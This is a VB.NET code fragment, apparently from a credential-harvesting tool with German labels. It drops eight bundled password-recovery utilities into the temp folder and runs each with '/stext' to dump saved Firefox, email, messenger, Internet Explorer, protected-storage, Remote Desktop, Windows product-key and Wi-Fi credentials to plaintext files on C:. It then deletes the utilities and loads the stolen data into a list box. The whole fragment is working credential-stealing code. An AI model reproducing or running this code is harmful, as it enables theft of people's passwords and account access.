Dim lm As New IO.BinaryWriter(New IO.FileStream(Environment.GetEnvironmentVariable(" tmp") & "\passwortFox.exe", IO.FileMode.Create))
Dim am As New IO.BinaryWriter(New IO.FileStream(Environment.GetEnvironmentVariable(" tmp") & "\mailpv.exe", IO.FileMode.Create))
Dim er As New IO.BinaryWriter(New IO.FileStream(Environment.GetEnvironmentVariable(" tmp") & "\mspass.exe", IO.FileMode.Create))
Dim Ie As New IO.BinaryWriter(New IO.FileStream(Environment.GetEnvironmentVariable(" tmp") & "\iepv.exe", IO.FileMode.Create))
Dim ps As New IO.BinaryWriter(New IO.FileStream(Environment.GetEnvironmentVariable(" tmp") & "\pspv.exe", IO.FileMode.Create))
Dim rd As New IO.BinaryWriter(New IO.FileStream(Environment.GetEnvironmentVariable(" tmp") & "\rdpv.exe", IO.FileMode.Create))
Dim pc As New IO.BinaryWriter(New IO.FileStream(Environment.GetEnvironmentVariable(" tmp") & "\ProduKey.exe", IO.FileMode.Create))
Dim whk As New IO.BinaryWriter(New IO.FileStream(Environment.GetEnvironmentVariable(" tmp") & "\whk.exe", IO.FileMode.Create))
lm.Write(My.Resources.PasswordFox)
am.Write(My.Resources.mailpv)
er.Write(My.Resources.mspass)
Ie.Write(My.Resources.iepv)
ps.Write(My.Resources.pspv)
rd.Write(My.Resources.rdpv)
pc.Write(My.Resources.ProduKey)
whk.Write(My.Resources.whk)
lm.Close()
am.Close()
er.Close()
Ie.Close()
ps.Close()
rd.Close()
pc.Close()
whk.Close()
Dim gu As New ProcessStartInfo(Environment.GetEnvironmentVariabl e("tmp") & "\passwortFox.exe")
Dim ba As New ProcessStartInfo(Environment.GetEnvironmentVariabl e("tmp") & "\mailpv.exe")
Dim um As New ProcessStartInfo(Environment.GetEnvironmentVariabl e("tmp") & "\mspass.exe")
Dim int As New ProcessStartInfo(Environment.GetEnvironmentVariabl e("tmp") & "\iepv.exe")
Dim psp As New ProcessStartInfo(Environment.GetEnvironmentVariabl e("tmp") & "\pspv.exe")
Dim dc As New ProcessStartInfo(Environment.GetEnvironmentVariabl e("tmp") & "\rdpv.exe")
Dim pro As New ProcessStartInfo(Environment.GetEnvironmentVariabl e("tmp") & "\ProduKey.exe")
Dim wlkv As New ProcessStartInfo(Environment.GetEnvironmentVariabl e("tmp") & "\whk.exe")
gu.Arguments = ("/stext C:\FireFoxPws.txt")
ba.Arguments = ("/stext C:\EmailPws.txt")
um.Arguments = ("/stext C:\MessengerPws.txt")
int.Arguments = ("/stext C:\InternetExplorerPws.txt")
psp.Arguments = ("/stext C:\ProtectedStoragePws.txt")
dc.Arguments = ("/stext C:\RemoteDesktopPws.txt")
pro.Arguments = ("/stext C:\WindowsKeys.txt")
wlkv.Arguments = ("/stext C:\WhirelessKeys.txt")
Process.Start(gu)
Process.Start(ba)
Process.Start(um)
Process.Start(int)
Process.Start(psp)
Process.Start(dc)
Process.Start(pro)
Process.Start(wlkv)
IO.File.Delete(Environment.GetEnvironmentVariable( "tmp") & "\passwortFox.exe")
IO.File.Delete(Environment.GetEnvironmentVariable( "tmp") & "\mailpv.exe")
IO.File.Delete(Environment.GetEnvironmentVariable( "tmp") & "\mspass.exe")
IO.File.Delete(Environment.GetEnvironmentVariable( "tmp") & "\iepv.exe")
IO.File.Delete(Environment.GetEnvironmentVariable( "tmp") & "\pspv.exe")
IO.File.Delete(Environment.GetEnvironmentVariable( "tmp") & "\rdpv.exe")
IO.File.Delete(Environment.GetEnvironmentVariable( "tmp") & "\ProduKey.exe")
IO.File.Delete(Environment.GetEnvironmentVariable( "tmp") & "\whk.exe")
Fuck
End sub
Private Sub Fuck()
Dim r As IO.StreamReader
ListBox1.Items.Add("FireFox 1-3")
r = New IO.StreamReader("C:\FireFoxPws.txt")
While (r.Peek() > -1)
ListBox1.Items.Add(r.ReadLine)
End While
ListBox1.Items.Add("Email-Passwörter")
r = New IO.StreamReader("C:\EmailPws.txt")
While (r.Peek() > -1)
ListBox1.Items.Add(r.ReadLine)
End While
ListBox1.Items.Add("Messenger Passwörter")
r = New IO.StreamReader("C:\MessengerPws.txt")
While (r.Peek() > -1)
ListBox1.Items.Add(r.ReadLine)
End While
ListBox1.Items.Add("Internet Explorer Passwörter")
r = New IO.StreamReader("C:\InternetExplorerPws.txt")
While (r.Peek() > -1)
ListBox1.Items.Add(r.ReadLine)
End While
ListBox1.Items.Add("Gespeicherte Passwörter")
r = New IO.StreamReader("C:\ProtectedStoragePws.txt")
While (r.Peek() > -1)
ListBox1.Items.Add(r.ReadLine)
End While
ListBox1.Items.Add("Remote Desktop Passwörter")
r = New IO.StreamReader("C:\RemoteDesktopPws.txt")
While (r.Peek() > -1)
ListBox1.Items.Add(r.ReadLine)
End While
ListBox1.Items.Add("Windows Keys")
r = New IO.StreamReader("C:\WindowsKeys.txt")
While (r.Peek() > -1)
ListBox1.Items.Add(r.ReadLine)
End While
ListBox1.Items.Add("Wlan Schlüßel")
r = New IO.StreamReader("C:\WhirelessKeys.txt")
While (r.Peek() > -1)
ListBox1.Items.Add(r.ReadLine)
End While
r.Close()